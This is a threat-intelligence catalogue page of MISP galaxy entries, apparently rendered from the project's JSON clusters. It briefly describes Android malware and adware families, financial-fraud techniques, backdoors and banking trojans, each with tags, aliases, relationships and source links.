https://www.symantec.com/security_response/writeup.jsp?docid=2014-040207-5646-99 |
Wooboo
Wooboo is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Wooboo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-5829-99 |
Wqmobile
Wqmobile is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Wqmobile"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4926-99 |
YahooAds
YahooAds is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="YahooAds"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-3229-99 |
Yatoot
Yatoot is a Trojan horse for Android devices that steals information from the compromised device.
The tag is: misp-galaxy:android="Yatoot"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-031408-4748-99 |
Yinhan
Yinhan is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Yinhan"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040107-3350-99 |
Youmi
Youmi is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="Youmi"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-040407-4318-99 |
YuMe
YuMe is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="YuMe"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-060621-0322-99 |
Zeahache
Zeahache is a Trojan horse that elevates privileges on the compromised device.
The tag is: misp-galaxy:android="Zeahache"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2011-032309-5042-99 |
ZertSecurity
ZertSecurity is a Trojan horse for Android devices that steals information and sends it to a remote attacker.
The tag is: misp-galaxy:android="ZertSecurity"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2013-050820-4100-99 |
ZestAdz
ZestAdz is an advertisement library that is bundled with certain Android applications.
The tag is: misp-galaxy:android="ZestAdz"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2014-052616-3821-99 |
Zeusmitmo
Zeusmitmo is a Trojan horse for Android devices that opens a back door and steals information from the compromised device.
The tag is: misp-galaxy:android="Zeusmitmo"
Links |
https://www.symantec.com/security_response/writeup.jsp?docid=2012-080818-0448-99 |
SLocker
The SLocker family is one of the oldest mobile lock screen and file-encrypting ransomware and used to impersonate law enforcement agencies to convince victims to pay their ransom.
The tag is: misp-galaxy:android="SLocker"
SLocker is also known as:
-
SMSLocker
Links |
http://blog.trendmicro.com/trendlabs-security-intelligence/mobile-ransomware-pocket-sized-badness/ |
Loapi
A malware strain known as Loapi will damage phones if users don’t remove it from their devices. Left to its own means, this modular threat will download a Monero cryptocurrency miner that will overheat and overwork the phone’s components, which will make the battery bulge, deform the phone’s cover, or even worse. Discovered by Kaspersky Labs, researchers say Loapi appears to have evolved from Podec, a malware strain spotted in 2015.
The tag is: misp-galaxy:android="Loapi"
Links |
Podec
Late last year, we encountered an SMS Trojan called Trojan-SMS.AndroidOS.Podec which used a very powerful legitimate system to protect itself against analysis and detection. After we removed the protection, we saw a small SMS Trojan with most of its malicious payload still in development. Before long, though, we intercepted a fully-fledged version of Trojan-SMS.AndroidOS.Podec in early 2015. The updated version proved to be remarkable: it can send messages to premium-rate numbers employing tools that bypass the Advice of Charge system (which notifies users about the price of a service and requires authorization before making the payment). It can also subscribe users to premium-rate services while bypassing CAPTCHA. This is the first time Kaspersky Lab has encountered this kind of capability in any Android-Trojan.
The tag is: misp-galaxy:android="Podec"
Links |
Chamois
Chamois is one of the largest PHA families in Android to date and is distributed through multiple channels. While much of the backdoor version of this family was cleaned up in 2016, a new variant emerged in 2017. To avoid detection, this version employs a number of techniques, such as implementing custom code obfuscation, preventing user notifications, and not appearing in the device’s app list. Chamois apps, which in many cases come preloaded with the system image, try to trick users into clicking ads by displaying deceptive graphics to commit WAP or SMS fraud.
The tag is: misp-galaxy:android="Chamois"
IcicleGum
IcicleGum is a spyware PHA family whose apps rely on versions of the Igexin ads SDK that offer dynamic code-loading support. IcicleGum apps use this library’s code-loading features to fetch encrypted DEX files over HTTP from command-and-control servers. The files are then decrypted and loaded via class reflection to read and send phone call logs and other data to remote locations.
The tag is: misp-galaxy:android="IcicleGum"
IcicleGum has relationships with:
-
similar: misp-galaxy:android="Igexin" with estimative-language:likelihood-probability="likely"
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
BreadSMS
BreadSMS is a large SMS-fraud PHA family that we started tracking at the beginning of 2017. These apps compose and send text messages to premium numbers without the user’s consent. In some cases, BreadSMS apps also implement subscription-based SMS fraud and silently enroll users in services provided by their mobile carriers. These apps are linked to a group of command-and-control servers whose IP addresses change frequently and that are used to provide the apps with premium SMS numbers and message text.
The tag is: misp-galaxy:android="BreadSMS"
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
JamSkunk
JamSkunk is a toll-fraud PHA family composed of apps that subscribe users to services without their consent. These apps disable Wi-Fi to force traffic to go through users' mobile data connection and then contact command-and-control servers to dynamically fetch code that tries to bypass the network’s WAP service subscription verification steps. This type of PHA monetizes their abuse via WAP billing, a payment method that works through mobile data connections and allows users to easily sign up and pay for new services using their existing account (i.e., services are billed directly by the carrier, and not the service provider; the user does not need a new account or a different form of payment). Once authentication is bypassed, JamSkunk apps enroll the device in services that the user may not notice until they receive and read their next bill.
The tag is: misp-galaxy:android="JamSkunk"
Expensive Wall
Expensive Wall is a family of SMS-fraud apps that affected a large number of devices in 2017. Expensive Wall apps use code obfuscation to slow down analysis and evade detection, and rely on the JS2Java bridge to allow JavaScript code loaded inside a Webview to call Java methods the way Java apps directly do. Upon launch, Expensive Wall apps connect to command-and-control servers to fetch a domain name. This domain is then contacted via a Webview instance that loads a webpage and executes JavaScript code that calls Java methods to compose and send premium SMS messages or click ads without users' knowledge.
The tag is: misp-galaxy:android="Expensive Wall"
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
BambaPurple
BambaPurple is a two-stage toll-fraud PHA family that tries to trick users into installing it by disguising itself as a popular app. After install, the app disables Wi-Fi to force the device to use its 3G connection, then redirects to subscription pages without the user’s knowledge, clicks subscription buttons using downloaded JavaScript, and intercepts incoming subscription SMS messages to prevent the user from unsubscribing. In a second stage, BambaPurple installs a backdoor app that requests device admin privileges and drops a .dex file. This executable checks to make sure it is not being debugged, downloads even more apps without user consent, and displays ads.
The tag is: misp-galaxy:android="BambaPurple"
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
KoreFrog
KoreFrog is a family of trojan apps that request permission to install packages and push other apps onto the device as system apps without the user’s authorization. System apps can be disabled by the user, but cannot be easily uninstalled. KoreFrog apps operate as daemons running in the background that try to impersonate Google and other system apps by using misleading names and icons to avoid detection. The KoreFrog PHA family has also been observed to serve ads, in addition to apps.
The tag is: misp-galaxy:android="KoreFrog"
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
Gaiaphish
Gaiaphish is a large family of trojan apps that target authentication tokens stored on the device to abuse the user’s privileges for various purposes. These apps use base64-encoded URL strings to avoid detection of the command-and-control servers they rely on to download APK files. These files contain phishing apps that try to steal GAIA authentication tokens that grant the user permissions to access Google services, such as Google Play, Google+, and YouTube. With these tokens, Gaiaphish apps are able to generate spam and automatically post content (for instance, fake app ratings and comments on Google Play app pages)
The tag is: misp-galaxy:android="Gaiaphish"
Links |
https://source.android.com/security/reports/Google_Android_Security_2017_Report_Final.pdf |
RedDrop
RedDrop can perform a vast array of malicious actions, including recording nearby audio and uploading the data to cloud-storage accounts on Dropbox and Google Drive.
The tag is: misp-galaxy:android="RedDrop"
Links |
https://www.bleepingcomputer.com/news/security/new-reddrop-android-spyware-records-nearby-audio/ |
HenBox
HenBox apps masquerade as others such as VPN apps, and Android system apps; some apps carry legitimate versions of other apps which they drop and install as a decoy technique. While some of legitimate apps HenBox uses as decoys can be found on Google Play, HenBox apps themselves are found only on third-party (non-Google Play) app stores. HenBox apps appear to primarily target the Uyghurs – a Turkic ethnic group living mainly in the Xinjiang Uyghur Autonomous Region in North West China. HenBox has ties to infrastructure used in targeted attacks, with a focus on politics in South East Asia. These attackers have used additional malware families in previous activity dating to at least 2015 that include PlugX, Zupdax, 9002, and Poison Ivy. HexBox apps target devices made by Chinese consumer electronics manufacture, Xiaomi and those running MIUI, Xiaomi’s operating system based on Google Android. Furthermore, the malicious apps register their intent to process certain events broadcast on compromised devices in order to execute malicious code. This is common practice for many Android apps, however, HenBox sets itself up to trigger based on alerts from Xiaomi smart-home IoT devices, and once activated, proceeds in stealing information from a myriad of sources, including many mainstream chat, communication and social media apps. The stolen information includes personal and device information.
The tag is: misp-galaxy:android="HenBox"
Links |
https://researchcenter.paloaltonetworks.com/2018/04/unit42-henbox-inside-coop/ |
MysteryBot
Cybercriminals are currently developing a new strain of malware targeting Android devices which blends the features of a banking trojan, keylogger, and mobile ransomware.
The tag is: misp-galaxy:android="MysteryBot"
MysteryBot has relationships with:
-
similar: misp-galaxy:malpedia="MysteryBot" with estimative-language:likelihood-probability="likely"
Links |
Skygofree
At the beginning of October 2017, we discovered new Android spyware with several features previously unseen in the wild. In the course of further research, we found a number of related samples that point to a long-term development process. We believe the initial versions of this malware were created at least three years ago – at the end of 2014. Since then, the implant’s functionality has been improving and remarkable new features implemented, such as the ability to record audio surroundings via the microphone when an infected device is in a specified location; the stealing of WhatsApp messages via Accessibility Services; and the ability to connect an infected device to Wi-Fi networks controlled by cybercriminals. We observed many web landing pages that mimic the sites of mobile operators and which are used to spread the Android implants. These domains have been registered by the attackers since 2015. According to our telemetry, that was the year the distribution campaign was at its most active. The activities continue: the most recently observed domain was registered on October 31, 2017. Based on our KSN statistics, there are several infected individuals, exclusively in Italy. Moreover, as we dived deeper into the investigation, we discovered several spyware tools for Windows that form an implant for exfiltrating sensitive data on a targeted machine. The version we found was built at the beginning of 2017, and at the moment we are not sure whether this implant has been used in the wild. We named the malware Skygofree, because we found the word in one of the domains.
The tag is: misp-galaxy:android="Skygofree"
Skygofree has relationships with:
-
similar: misp-galaxy:malpedia="Skygofree" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/skygofree-following-in-the-footsteps-of-hackingteam/83603/ |
BusyGasper
A new family of spyware for Android grabbed the attention of security researchers through its unusual set of features and their original implementation. Tagged BusyGasper by security experts at Kaspersky, the malware stands out through its ability to monitor the various sensors present on the targeted phone. Based on the motion detection logs, it can recognize the opportune time for running and stopping its activity.
The tag is: misp-galaxy:android="BusyGasper"
Links |
Triout
Bitdefender says Triout samples they discovered were masquerading in a clone of a legitimate application, but they were unable to discover where this malicious app was being distributed from. The obvious guess would be via third-party Android app stores, or app-sharing forums, popular in some areas of the globe.
The tag is: misp-galaxy:android="Triout"
Links |
AndroidOS_HidenAd
active adware family (detected by Trend Micro as AndroidOS_HidenAd) disguised as 85 game, TV, and remote control simulator apps on the Google Play store
The tag is: misp-galaxy:android="AndroidOS_HidenAd"
AndroidOS_HidenAd is also known as:
-
AndroidOS_HiddenAd
Links |
Razdel
The Banking Trojan found in Google Play is identified as Razdel, a variant of BankBot mobile banking Trojan. This newly observed variant has taken mobile threats to the next level incorporating: Remote access Trojan functions, SMS interception, UI (User Interface) Overlay with masqueraded pages etc.
The tag is: misp-galaxy:android="Razdel"
Links |
https://mobile.twitter.com/pr3wtd/status/1097477833625088000 |
attck4fraud
attck4fraud - Principles of MITRE ATT&CK in the fraud domain.
attck4fraud is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Francesco Bigarella
Phishing
In the context of ATT&CK for Fraud, phishing is described as the sending of fraudulent emails to a large audience in order to obtain sensitive information (PII, credentials, payment information). Phishing is never targeted to a specific individual or organisation. Phishing tries to create a sense of urgency or curiosity in order to capture the victim.
The tag is: misp-galaxy:financial-fraud="Phishing"
Links |
Spear phishing
Spear phishing is the use of targeted emails to gain the trust of the target with the goal of committing fraud. Spear phishing messages are generally specific to the target and show an understanding of the target’s organisation structure, supply chain or business.
The tag is: misp-galaxy:financial-fraud="Spear phishing"
Links |
ATM skimming
ATM Skimming refers to the act of capturing the data stored on a bank cards (tracks) and the Personal Identification Number (PIN) associated to that card. Upon obtaining the data, the criminal proceeds to encode the same information into a new card and use it in combination with the PIN to perform illicit cash withdrawals. ATM Skimming is often achieved with a combination of a skimmer device for the card and a camera to capture the PIN.
The tag is: misp-galaxy:financial-fraud="ATM skimming"
ATM Shimming
ATM Shimming refers to the act of capturing a bank card data accessing the EMV chip installed on the card while presenting the card to a ATM. Due to their low profile, shimmers can be fit inside ATM card readers and are therefore more difficult to detect.
The tag is: misp-galaxy:financial-fraud="ATM Shimming"
Account-Checking Services
Account-Checking Services
The tag is: misp-galaxy:financial-fraud="Account-Checking Services"
ATM Black Box Attack
ATM Black Box Attack
The tag is: misp-galaxy:financial-fraud="ATM Black Box Attack"
Buying/Renting Fraud
Buying/Renting Fraud
The tag is: misp-galaxy:financial-fraud="Buying/Renting Fraud"
Business Email Compromise
Business Email Compromise
The tag is: misp-galaxy:financial-fraud="Business Email Compromise"
Compromised Payment Cards
Compromised Payment Cards
The tag is: misp-galaxy:financial-fraud="Compromised Payment Cards"
Compromised Account Credentials
Compromised Account Credentials
The tag is: misp-galaxy:financial-fraud="Compromised Account Credentials"
Compromised Personally Identifiable Information (PII)
Compromised Personally Identifiable Information (PII)
The tag is: misp-galaxy:financial-fraud="Compromised Personally Identifiable Information (PII)"
Compromised Intellectual Property (IP)
Compromised Intellectual Property (IP)
The tag is: misp-galaxy:financial-fraud="Compromised Intellectual Property (IP)"
Cryptocurrency Exchange
Cryptocurrency Exchange
The tag is: misp-galaxy:financial-fraud="Cryptocurrency Exchange"
ATM Explosive Attack
ATM Explosive Attack
The tag is: misp-galaxy:financial-fraud="ATM Explosive Attack"
Backdoor
A list of backdoor malware..
Backdoor is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
raw-data
WellMess
Cross-platform malware written in Golang, compatible with Linux and Windows. Although there are some minor differences, both variants have the same functionality. The malware communicates with a CnC server using HTTP requests and performs functions based on the received commands. Results of command execution are sent in HTTP POST requests data (RSA-encrypted). Main functionalities are: (1) Execute arbitrary shell commands, (2) Upload/Download files. The PE variant of the infection, in addition, executes PowerShell scripts. A .Net version was also observed in the wild.
The tag is: misp-galaxy:backdoor="WellMess"
WellMess has relationships with:
-
similar: misp-galaxy:malpedia="WellMess" with estimative-language:likelihood-probability="likely"
Links |
Rosenbridge
The rosenbridge backdoor is a small, non-x86 core embedded alongside the main x86 core in the CPU. It is enabled by a model-specific-register control bit, and then toggled with a launch-instruction. The embedded core is then fed commands, wrapped in a specially formatted x86 instruction. The core executes these commands (which we call the 'deeply embedded instruction set'), bypassing all memory protections and privilege checks.
While the backdoor should require kernel level access to activate, it has been observed to be enabled by default on some systems, allowing any unprivileged code to modify the kernel.
The rosenbridge backdoor is entirely distinct from other publicly known coprocessors on x86 CPUs, such as the Management Engine or Platform Security Processor; it is more deeply embedded than any known coprocessor, having access to not only all of the CPU’s memory, but its register file and execution pipeline as well.
The tag is: misp-galaxy:backdoor="Rosenbridge"
Links |
ServHelper
The purpose of the macro was to download and execute a variant of ServHelper that set up reverse SSH tunnels that enabled access to the infected host through the Remote Desktop Protocol (RDP) port 3389.
"Once ServHelper establishes remote desktop access, the malware contains functionality for the threat actor to “hijack” legitimate user accounts or their web browser profiles and use them as they see fit," researchers from Proofpoint explain in an analysis released today.
The other ServHelper variant does not include the tunneling and hijacking capabilities and functions only as a downloader for the FlawedGrace RAT.
The tag is: misp-galaxy:backdoor="ServHelper"
Links |
Rising Sun
The Rising Sun backdoor uses the RC4 cipher to encrypt its configuration data and communications. As with most backdoors, on initial infection, Rising Sun will send data regarding the infected system to a command and control (C2) site. That information captures computer and user name, IP address, operating system version and network adapter information. Rising Sun contains 14 functions including executing commands, obtaining information on disk drives and running processes, terminating processes, obtaining file creation and last access times, reading and writing files, deleting files, altering file attributes, clearing the memory of processes and connecting to a specified IP address.
The tag is: misp-galaxy:backdoor="Rising Sun"
Links |
https://www.bluvector.io/threat-report-rising-sun-operation-sharpshooter/ |
SLUB
A new backdoor was observed using the Github Gist service and the Slack messaging system as communication channels with its masters, as well as targeting a very specific type of victim using a watering hole attack. The backdoor dubbed SLUB by the Trend Micro Cyber Safety Solutions Team who detected it in the wild is part of a multi-stage infection process designed by capable threat actors who programmed it in C++. SLUB uses statically-linked curl, boost, and JsonCpp libraries for performing HTTP request, "extracting commands from gist snippets," and "parsing Slack channel communication." The campaign recently observed by the Trend Micro security researchers abusing the Github and Slack uses a multi-stage infection process.
The tag is: misp-galaxy:backdoor="SLUB"
SLUB has relationships with:
-
similar: misp-galaxy:tool="SLUB Backdoor" with estimative-language:likelihood-probability="likely"
Links |
Asruex
Since it first emerged in 2015, Asruex has been known for its backdoor capabilities and connection to the spyware DarkHotel. However, when we encountered Asruex in a PDF file, we found that a variant of the malware can also act as an infector particularly through the use of old vulnerabilities CVE-2012-0158 and CVE-2010-2883, which inject code in Word and PDF files respectively.
The tag is: misp-galaxy:backdoor="Asruex"
Links |
Banker
A list of banker malware..
Banker is a cluster galaxy available in JSON format at this location The JSON format can be freely reused in your application or automatically enabled in MISP. |
- authors
-
Unknown - raw-data
Zeus
Zeus is a trojan horse that is primarily delivered via drive-by-downloads, malvertising, exploit kits and malspam campaigns. It uses man-in-the-browser keystroke logging and form grabbing to steal information from victims. Source was leaked in 2011.
The tag is: misp-galaxy:banker="Zeus"
Zeus is also known as:
-
Zbot
Zeus has relationships with:
-
similar: misp-galaxy:tool="Zeus" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:botnet="Zeus" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Zeus" with estimative-language:likelihood-probability="likely"
Links |
https://usa.kaspersky.com/resource-center/threats/zeus-virus |
Vawtrak
Delivered primarily by exploit kits as well as malspam campaigns utilizing macro based Microsoft Office documents as attachments. Vawtrak/Neverquest is a modularized banking trojan designed to steal credentials through harvesting, keylogging, Man-In-The-Browser, etc.
The tag is: misp-galaxy:banker="Vawtrak"
Vawtrak is also known as:
-
Neverquest
Vawtrak has relationships with:
-
similar: misp-galaxy:tool="Vawtrak" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Vawtrak" with estimative-language:likelihood-probability="likely"
Dridex
Dridex leverages redirection attacks designed to send victims to malicious replicas of the banking sites they think they're visiting.
The tag is: misp-galaxy:banker="Dridex"
Dridex is also known as:
-
Feodo Version D
Dridex has relationships with:
-
similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Dridex" with estimative-language:likelihood-probability="likely"
Links |
Gozi
Banking trojan delivered primarily via email (typically malspam) and exploit kits. Gozi 1.0 source leaked in 2010
The tag is: misp-galaxy:banker="Gozi"
Gozi is also known as:
-
Ursnif
-
CRM
-
Snifula
-
Papras
Gozi has relationships with:
-
similar: misp-galaxy:tool="Snifula" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Gozi" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Snifula" with estimative-language:likelihood-probability="likely"
Links |
https://www.gdatasoftware.com/blog/2016/11/29325-analysis-ursnif-spying-on-your-data-since-2007 |
Goziv2
Banking trojan attributed to Project Blitzkrieg targeting U.S. Financial institutions.
The tag is: misp-galaxy:banker="Goziv2"
Goziv2 is also known as:
-
Prinimalka
Links |
Gozi ISFB
Banking trojan based on Gozi source. Features include web injects for the victims’ browsers, screenshoting, video recording, transparent redirections, etc. Source leaked ~ end of 2015.
The tag is: misp-galaxy:banker="Gozi ISFB"
Gozi ISFB has relationships with:
-
similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"
Links |
https://www.govcert.admin.ch/blog/18/gozi-isfb-when-a-bug-really-is-a-feature |
https://info.phishlabs.com/blog/the-unrelenting-evolution-of-vawtrak |
Dreambot
Dreambot is a variant of Gozi ISFB that is spread via numerous exploit kits as well as through malspam email attachments and links.
The tag is: misp-galaxy:banker="Dreambot"
Links |
https://www.proofpoint.com/us/threat-insight/post/ursnif-variant-dreambot-adds-tor-functionality |
IAP
Gozi ISFB variant
The tag is: misp-galaxy:banker="IAP"
IAP has relationships with:
-
similar: misp-galaxy:malpedia="ISFB" with estimative-language:likelihood-probability="likely"
Links |
GozNym
GozNym hybrid takes the best of both the Nymaim and Gozi ISFB. From the Nymaim malware, it leverages the dropper’s stealth and persistence; the Gozi ISFB parts add the banking Trojan’s capabilities to facilitate fraud via infected Internet browsers.
The tag is: misp-galaxy:banker="GozNym"
Links |
https://securityintelligence.com/meet-goznym-the-banking-malware-offspring-of-gozi-isfb-and-nymaim/ |
Zloader Zeus
Zloader is a loader that loads different payloads, one of which is a Zeus module. Delivered via exploit kits and malspam emails.
The tag is: misp-galaxy:banker="Zloader Zeus"
Zloader Zeus is also known as:
-
Zeus Terdot
Zloader Zeus has relationships with:
-
similar: misp-galaxy:malpedia="Zloader" with estimative-language:likelihood-probability="likely"
Links |
https://blog.threatstop.com/zloader/terdot-that-man-in-the-middle |
Zeus VM
Zeus variant that utilizes steganography in image files to retrieve configuration file.
The tag is: misp-galaxy:banker="Zeus VM"
Zeus VM is also known as:
-
VM Zeus
Zeus VM has relationships with:
-
similar: misp-galaxy:malpedia="VM Zeus" with estimative-language:likelihood-probability="likely"
Links |
https://securityintelligence.com/new-zberp-trojan-discovered-zeus-zbot-carberp/ |
Zeus Sphinx
Sphinx is a modular banking trojan that is a commercial offering sold to cybercriminals via underground fraudster boards.
The tag is: misp-galaxy:banker="Zeus Sphinx"
Zeus Sphinx has relationships with:
-
similar: misp-galaxy:malpedia="Zeus Sphinx" with estimative-language:likelihood-probability="likely"
Links |
https://securityintelligence.com/brazil-cant-catch-a-break-after-panda-comes-the-sphinx/ |
Panda Banker
Zeus like banking trojan that is delivered primarily through malspam emails and exploit kits.
The tag is: misp-galaxy:banker="Panda Banker"
Panda Banker is also known as:
-
Zeus Panda
Links |
https://www.proofpoint.com/us/threat-insight/post/panda-banker-new-banking-trojan-hits-the-market |
https://cyberwtf.files.wordpress.com/2017/07/panda-whitepaper.pdf |
Zeus KINS
Zeus KINS is a modified version of ZeuS 2.0.8.9. It contains an encrypted version of it’s config in the registry.
The tag is: misp-galaxy:banker="Zeus KINS"
Zeus KINS is also known as:
-
Kasper Internet Non-Security
-
Maple
Zeus KINS has relationships with:
-
similar: misp-galaxy:malpedia="KINS" with estimative-language:likelihood-probability="likely"
Links |
https://securityintelligence.com/zeus-maple-variant-targets-canadian-online-banking-customers/ |
Chthonic
Chthonic according to Kaspersky is an evolution of Zeus VM. It uses the same encryptor as Andromeda bot, the same encryption scheme as Zeus AES and Zeus V2 Trojans, and a virtual machine similar to that used in ZeusVM and KINS malware.
The tag is: misp-galaxy:banker="Chthonic"
Chthonic is also known as:
-
Chtonic
Chthonic has relationships with:
-
similar: misp-galaxy:malpedia="Chthonic" with estimative-language:likelihood-probability="likely"
Links |
https://securelist.com/chthonic-a-new-modification-of-zeus/68176/ |
Trickbot
Trickbot is a bot that is delivered via exploit kits and malspam campaigns. The bot is capable of downloading modules, including a banker module. Trickbot also shares roots with the Dyre banking trojan
The tag is: misp-galaxy:banker="Trickbot"
Trickbot is also known as:
-
Trickster
-
Trickloader
Trickbot has relationships with:
-
similar: misp-galaxy:tool="Trick Bot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="TrickBot" with estimative-language:likelihood-probability="likely"
Dyre
Dyre is a banking trojan distributed via exploit kits and malspam emails primarily. It has a modular architectur and utilizes man-in-the-browser functionality. It also leverages a backconnect server that allows threat actors to connect to a bank website through the victim’s computer.
The tag is: misp-galaxy:banker="Dyre"
Dyre is also known as:
-
Dyreza
Dyre has relationships with:
-
similar: misp-galaxy:mitre-malware="Dyre - S0024" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Dyre" with estimative-language:likelihood-probability="likely"
Links |
https://blog.malwarebytes.com/threat-analysis/2015/11/a-technical-look-at-dyreza/ |
Tinba
Tinba is a very small banking trojan that hooks into browsers and steals login data and sniffs on network traffic. It also uses Man in The Browser (MiTB) and webinjects. Tinba is primarily delivered via exploit kits, malvertising and malspam email campaigns.
The tag is: misp-galaxy:banker="Tinba"
Tinba is also known as:
-
Zusy
-
TinyBanker
-
illi
Tinba has relationships with:
-
similar: misp-galaxy:tool="Tinba" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Tinba" with estimative-language:likelihood-probability="likely"
Geodo
Geodo is a banking trojan delivered primarily through malspam emails. It is capable of sniffing network activity to steal information by hooking certain network API calls.
The tag is: misp-galaxy:banker="Geodo"
Geodo is also known as:
-
Feodo Version C
-
Emotet
Geodo has relationships with:
-
similar: misp-galaxy:tool="Emotet" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Emotet" with estimative-language:likelihood-probability="likely"
Links |
https://www.bleepingcomputer.com/news/security/emotet-banking-trojan-loves-usa-internet-providers/ |
https://www.forcepoint.com/blog/security-labs/thanks-giving-emotet |
Feodo
Feodo is a banking trojan that utilizes web injects and is also capable of monitoring & manipulating cookies. Version A = Port 8080, Version B = Port 80 It is delivered primarily via exploit kits and malspam emails.
The tag is: misp-galaxy:banker="Feodo"
Feodo is also known as:
-
Bugat
-
Cridex
Feodo has relationships with:
-
similar: misp-galaxy:tool="Dridex" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Feodo" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Bugat" with estimative-language:likelihood-probability="likely"
Links |
http://stopmalvertising.com/rootkits/analysis-of-cridex.html |
Ramnit
Originally not a banking trojan in 2010, Ramnit became a banking trojan after the Zeus source code leak. It is capable of perforrming Man-in-the-Browser attacks. Distributed primarily via exploit kits.
The tag is: misp-galaxy:banker="Ramnit"
Ramnit is also known as:
-
Nimnul
Ramnit has relationships with:
-
similar: misp-galaxy:botnet="Ramnit" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Ramnit" with estimative-language:likelihood-probability="likely"
Links |
https://www.cert.pl/en/news/single/ramnit-in-depth-analysis/ |
Qakbot
Qakbot is a banking trojan that leverages webinjects to steal banking information from victims. It also utilizes DGA for command and control. It is primarily delivered via exploit kits.
The tag is: misp-galaxy:banker="Qakbot"
Qakbot is also known as:
-
Qbot
-
Pinkslipbot
Qakbot has relationships with:
-
similar: misp-galaxy:tool="Akbot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="QakBot" with estimative-language:likelihood-probability="likely"
Corebot
Corebot is a modular trojan that leverages a banking module that can perform browser hooking, form grabbing, MitM, webinjection to steal financial information from victims. Distributed primarily via malspam emails and exploit kits.
The tag is: misp-galaxy:banker="Corebot"
Corebot has relationships with:
-
similar: misp-galaxy:malpedia="Corebot" with estimative-language:likelihood-probability="likely"
Links |
https://malwarebreakdown.com/2017/09/11/re-details-malspam-downloads-corebot-banking-trojan/ |
TinyNuke
TinyNuke is a modular banking trojan that includes a HiddenDesktop/VNC server and reverse SOCKS 4 server. It’s main functionality is to make web injections into specific pages to steal user data. Distributed primarily via malspam emails and exploit kits.
The tag is: misp-galaxy:banker="TinyNuke"
TinyNuke is also known as:
-
NukeBot
-
Nuclear Bot
-
MicroBankingTrojan
-
Xbot
TinyNuke has relationships with:
-
similar: misp-galaxy:mitre-tool="Xbot - S0298" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Xbot" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="TinyNuke" with estimative-language:likelihood-probability="likely"
Retefe
Retefe is a banking trojan that is distributed by what SWITCH CERT calls the Retefe gang or Operation Emmental. It uses geolocation based targeting. It also leverages fake root certificate and changes the DNS server for domain name resolution in order to display fake banking websites to victims. It is spread primarily through malspam emails.
The tag is: misp-galaxy:banker="Retefe"
Retefe is also known as:
-
Tsukuba
-
Werdlod
Retefe has relationships with:
-
similar: misp-galaxy:malpedia="Retefe (Android)" with estimative-language:likelihood-probability="likely"
-
similar: misp-galaxy:malpedia="Dok" with estimative-language:likelihood-probability="likely"
ReactorBot
ReactorBot is sometimes mistakenly tagged as Rovnix. ReactorBot is a full fledged modular bot that includes a banking module that has roots with the Carberp banking trojan. Distributed primarily via malspam emails.
The tag is: misp-galaxy:banker="ReactorBot"
ReactorBot has relationships with:
-
similar: misp-galaxy:malpedia="ReactorBot" with estimative-language:likelihood-probability="likely"
Matrix Banker
Matrix Banker is named accordingly because of the Matrix reference in it’s C2 panel. Distributed primarily via malspam emails.
The tag is: misp-galaxy:banker="Matrix Banker"
Matrix Banker has relationships with:
-
similar: misp-galaxy:malpedia="Matrix Banker" with estimative-language:likelihood-probability="likely"
Links |
https://www.arbornetworks.com/blog/asert/another-banker-enters-matrix/ |
Zeus Gameover
Zeus Gameover captures banking credentials from infected computers, then use those credentials to initiate or re-direct wire transfers to accounts overseas that are controlled by the criminals. GameOver has a decentralized, peer-to-peer command and control infrastructure rather than centralized points of origin. Distributed primarily via malspam emails and exploit kits.
The tag is: misp-galaxy:banker="Zeus Gameover"
Links |
SpyEye
SpyEye is a similar to the Zeus botnet banking trojan. It utilizes a web control panel for C2 and can perform form grabbing, autofill credit card modules, ftp grabber, pop3 grabber and HTTP basic access authorization grabber. It also contained a Kill Zeus feature which would remove any Zeus infections if SpyEye was on the system. Distributed primarily via exploit kits and malspam emails.
The tag is: misp-galaxy:banker="SpyEye"
Links |
